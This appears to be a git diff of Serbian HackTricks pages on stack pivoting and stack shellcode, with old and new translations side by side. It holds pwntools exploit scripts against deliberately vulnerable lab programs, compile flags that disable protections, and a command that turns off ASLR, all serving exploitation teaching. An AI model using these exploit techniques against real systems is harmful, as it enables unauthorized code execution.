Takođe, uobičajeno je koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac. Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
### **EBP Povezivanje** ### **EBP Chaining**
Stavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **pomeriti `ESP` na kontrolisanu `EBP` adresu iz steka**. Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
Sada je **`ESP`** kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršavanje je `RET`. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo: Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je staviti na kontrolisano mesto ESP ovo:
* **`&(sledeći lažni EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije * **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
* **`system()`** -> Pozvan od strane `ret` * **`system()`** -> Pozvan od strane `ret`
* **`&(leave;ret)`** -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo * **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi
* **`&("/bin/sh")`**-> Parametar za `system` * **`&("/bin/sh")`**-> Parametar za `system`
Na ovaj način je moguće povezati nekoliko lažnih EBPa da bi se kontrolisao tok programa. U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova kako bi se kontrolisao tok programa.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi ali može biti interesantno u nekim ekstremnim slučajevima. Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Osim toga, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **curenjem steka** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice: Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python ```python
from pwn import * from pwn import *
@ -106,8 +107,8 @@ print(p.recvline())
``` ```
## EBP možda neće biti korišćen ## EBP možda neće biti korišćen
Kao što je [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa određenim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.\ Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\
Ovo je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan. To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
* **Nije optimizovan:** * **Nije optimizovan:**
```bash ```bash
@ -131,11 +132,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx pop %ebx # restore ebx
ret # return ret # return
``` ```
## Druge metode kontrole RSP-a ## Druge metode za kontrolu RSP
### **`pop rsp`** gedžet ### **`pop rsp`** gadget
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je **`pop rsp` gedžet** i postoji **leak sa steka**: [**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -179,7 +180,7 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp gedžet ### xchg \<reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
@ -187,33 +188,33 @@ xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
Proverite tehniku ret2esp ovde: Proverite ret2esp tehniku ovde:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
## Reference & Drugi Primeri ## Reference i drugi primeri
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sledom * 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bita, bez relro-a, canary-ja, nx-a i pie-a. Program omogućava leak za stack ili pie i WWW od qword-a. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da napravite večnu petlju zloupotrebom unosa `.fini_array` + pozivanjem `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Zloupotrebom ovog "večnog" pisanja, piše se ROP lanac u .bss i završava se pozivajući ga pivoting sa RBP. * 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Zloupotrebljavajući ovo "večito" pisanje, napisano je ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
## ARM64 ## ARM64
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne vraćaju SP registar** na steku. Osim toga, **`RET`** instrukcija ne vraća se na adresu na koju pokazuje SP, već **na adresu unutar `x30`**. U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća se na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
Stoga, podrazumevano, samo zloupotrebom epiloga **nećete moći kontrolisati SP registar** preko prepisivanja nekih podataka unutar steka. Čak i ako uspete da kontrolišete SP, i dalje biste trebali način da **kontrolišete `x30`** registar. Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da **kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
* prolog * prolog
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pokazuje na zapis okvira mov x29, sp // FP pokazuje na frame record
``` ```
* epilog * epilog
@ -224,25 +225,26 @@ ret
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Način da se izvede nešto slično stack pivoting-u u ARM64 bio bi da možete da **kontrolišete `SP`** (kontrolišući neki registar čija vrednost se prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu sa steka i imamo prelivanje) i zatim **zloupotrebite epilog** da učitate **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega. Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz stacka i imamo overflow) i zatim **zloupotrebljavati epilog** da učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
{% endhint %} {% endhint %}
Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**: Takođe na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Stack Shellcode # Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
**Stack shellcode** je tehnika korišćena u **binarnom eksploatisanju** gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**. **Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač piše shellcode na stek ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
### C Primer: Ranjiv program ### C Example: A Vulnerable Program
Započnimo sa jednostavnim primerom ranjivog C programa: Hajde da počnemo sa jednostavnim primerom ranjivog C programa:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0; return 0;
} }
``` ```
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije. Ovaj program je podložan prelivanju bafera zbog korišćenja `gets()` funkcije.
### Kompilacija ### Kompilacija
Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu: Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-fno-stack-protector`: Onemogućava zaštitu steka. * `-fno-stack-protector`: Onemogućava zaštitu steka.
* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku. * `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
* `-no-pie`: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod. * `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se naš shellcode nalaziti.
* `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije. * `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
### Python Eksploatacija korišćenjem Pwntools ### Python Exploit using Pwntools
Evo kako biste mogli napisati eksploataciju u Pythonu koristeći **pwntools** za izvođenje napada **ret2shellcode**: Evo kako možete napisati exploit u Python-u koristeći **pwntools** za izvođenje **ret2shellcode** napada:
```python ```python
from pwn import * from pwn import *
@ -78,24 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, i zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a. Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**, i zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument `p32()` na početnu adresu vašeg bafera plus offset kako biste dospele do NOP slide-a. **NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus offset da biste sleteli u NOP slide.
## Zaštite ## Zaštite
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **treba biti onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana. * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena. * [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva. * [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
## Ostali Primeri & Reference ## Ostali Primeri & Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega * 64bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega * 32 bit, ASLR sa leak-om steka, napiši shellcode i skoči na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32-bit, ASLR sa leak-om adrese stack-a, upoređivanje kako bi se sprečilo pozivanje exit(), prepisivanje promenljive sa vrednošću, pisanje shellcode-a i skakanje na njega * 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, bez ASLR-a, ROP gedžet za omogućavanje izvršavanja stack-a i skakanje na shellcode u stack-u * arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Stack Shellcode - arm64 # Stack Shellcode - arm64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
Pronađite uvod u arm64 u: Pronađite uvod u arm64 u:
@ -20,7 +21,7 @@ Pronađite uvod u arm64 u:
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) [arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %} {% endcontent-ref %}
## Kod&#x20; ## Code&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -35,21 +36,23 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Kompajlirajte bez pie-a, canary-ja i nx-a: Kompajlirajte bez pie, canary i nx:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## Bez ASLR-a & Bez canary-ja - Preplavljivanje steka&#x20; {% endcode %}
Da biste zaustavili ASLR, izvršite: ## Nema ASLR i nema kanarinca - Stack Overflow&#x20;
Da zaustavite ASLR, izvršite:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
Da biste dobili [**pomak bof-a pogledajte ovaj link**](../ret2win/ret2win-arm64.md#finding-the-offset). Da biste dobili [**offset od bof proverite ovu vezu**](../ret2win/ret2win-arm64.md#finding-the-offset).
Eksploatacija: Eksploit:
```python ```python
from pwn import * from pwn import *
@ -80,6 +83,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
Jedina "komplikovana" stvar koju treba pronaći ovde je adresa na steku za poziv. U mom slučaju, generisao sam eksploit sa adresom pronađenom korišćenjem gdb-a, ali kada sam ga iskoristio, nije radio (jer se adresa steka malo promenila). Jedina "komplikovana" stvar koju treba pronaći ovde bi bila adresa na steku koju treba pozvati. U mom slučaju, generisao sam exploit sa adresom pronađenom pomoću gdb, ali kada sam ga iskoristio, nije radilo (jer se adresa steka malo promenila).
Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shell koda. Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shellcode-a.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Neinicijalizovane promenljive # Neinicijalizovane promenljive
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
